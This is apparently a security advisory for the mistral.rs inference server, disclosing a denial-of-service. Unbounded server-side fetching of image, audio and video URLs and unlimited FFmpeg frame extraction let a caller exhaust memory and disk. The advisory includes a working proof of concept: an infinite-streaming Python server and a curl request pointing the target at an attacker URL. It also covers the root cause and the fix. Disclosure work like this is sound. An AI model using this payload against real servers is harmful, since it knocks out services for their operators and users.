high · 7.5Sep 10, 2026

mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The mistral.rs chat completions endpoint fetches any attacker-supplied image, audio, or video URL into server memory with no size limit, and extracts every frame of a video to disk, letting an…

Packagemistralrs-server-core
Ecosystemrust
Affected<= 0.8.4
Fixed in0.8.18
mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS

The problem

The POST /v1/chat/completions endpoint in mistralrs-server-core accepts media URLs and fetches them server-side using reqwest with no byte cap, no Content-Length check, and no per-fetch timeout. An infinite-streaming HTTP server causes the process to accumulate memory until it is OOM-killed.

For video inputs, when num_frames is None the server invokes FFmpeg with no -frames:v limit, extracting every frame to disk. A 60 fps 1080p 180-second video produces roughly 10,800 PNG files. No authentication is required on the route by default, so any network-reachable client can trigger this.

Proof of concept

A working proof-of-concept for this issue in mistralrs-server-core, with the exact payload below.

bash
# Step 1: run an infinite-streaming HTTP server on the attacker machine
python3 - <<'EOF'
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        self.end_headers()
        chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
        while True:
            self.wfile.write(chunk)
            self.wfile.flush()
            time.sleep(0.01)
    def log_message(self, *_): pass

HTTPServer(("0.0.0.0", 9002), H).serve_forever()
EOF

# Step 2: send a single unauthenticated request to the mistral.rs server
curl -sS http://TARGET:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
        {"type": "text", "text": "describe this image"}
      ]
    }]
  }'

# For disk/CPU exhaustion use video_url with a long high-framerate mp4:
# {"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}}

The root cause is CWE-400: Uncontrolled Resource Consumption. In util.rs:59-62, reqwest::get(url).bytes().await?.to_vec() buffers the entire HTTP response body with no limit before returning it. The same pattern appears in video.rs:65-69 for video downloads. For video frame extraction (video.rs:225-248), when num_frames is None no -frames:v argument is passed to FFmpeg, so every frame is extracted.

The fix in v0.8.18 adds a maximum byte limit to the reqwest streaming fetch (replacing .bytes() with a bounded streaming read) and passes an explicit -frames:v N argument to FFmpeg when processing video, so unbounded expansion is no longer possible. The DefaultBodyLimit(50 MB) middleware only guards the incoming JSON body, not the subsequent server-side media fetches, which is why it offered no protection.

The fix

Upgrade mistralrs-server-core to v0.8.18 or later. The patch adds a byte cap on all server-side media fetches and enforces a frame limit on FFmpeg invocations. If you cannot upgrade immediately, block the /v1/chat/completions endpoint at the network level for untrusted callers, or front the server with an authenticating reverse proxy.

Reporter not attributed.

References: [1][2][3]

Related research